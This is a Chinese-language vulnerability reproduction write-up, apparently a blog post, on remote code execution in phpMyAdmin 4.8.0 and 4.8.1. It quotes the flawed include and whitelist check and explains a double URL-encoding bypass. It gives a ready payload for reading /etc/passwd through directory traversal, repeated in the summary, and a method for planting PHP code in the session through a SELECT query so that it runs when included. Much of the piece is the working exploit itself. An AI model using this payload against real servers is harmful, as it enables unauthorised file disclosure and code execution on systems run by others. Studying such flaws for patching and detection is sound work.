phpmyadmin 4.8.1 rce

phpmyadmin 4.8.1 rce

利用条件

phpMyAdmin 4.8.0 and 4.8.1

登陆账号

漏洞复现

环境:phpstudy 2018,windows 10

漏洞位置:index.php:57

1
2
3
4
5
6
7
8
9
if (! empty($_REQUEST['target'])
&& is_string($_REQUEST['target'])
&& ! preg_match('/^index/', $_REQUEST['target'])
&& ! in_array($_REQUEST['target'], $target_blacklist)
&& Core::checkPageValidity($_REQUEST['target'])
) {
include $_REQUEST['target'];
exit;
}

非常明显的任意文件包含漏洞

前面几个条件都很好满足,我们看下最后一个Core::checkPageValidity($_REQUEST['target'])

跟进去

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
public static function checkPageValidity(&$page, array $whitelist = [])
{
if (empty($whitelist)) {
$whitelist = self::$goto_whitelist;
}
if (! isset($page) || !is_string($page)) {
return false;
}

if (in_array($page, $whitelist)) {
return true;
}

$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}

$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}

return false;
}

要返回true的话,需要$page从开头到第一个?之间的字符串在白名单中,有以下白名单

1
2
3
4
array (
0 => 'db_datadict.php',
....
)

因为复现环境是在windows下,windows文件名不能包含?,所以db_datadict.php?会变为db_datadict.php是一个已经存在的文件,我们便无法用../来穿梭目录了,但是我们可以看到 $_page = urldecode($page);

所以我们可以构造db_datadict.php%253f来绕过

通用的payload:

db_datadict.php%253f../../../../../../../../../../../etc/passwd

可以通过SELECT '<?=phpinfo()?>'; 来写shell到我们的session中

image1794

image1859

总结

db_datadict.php%253f../../../../../../../../../../../etc/passwd

可以通过SELECT '<?=phpinfo()?>'; 来写shell到我们的session中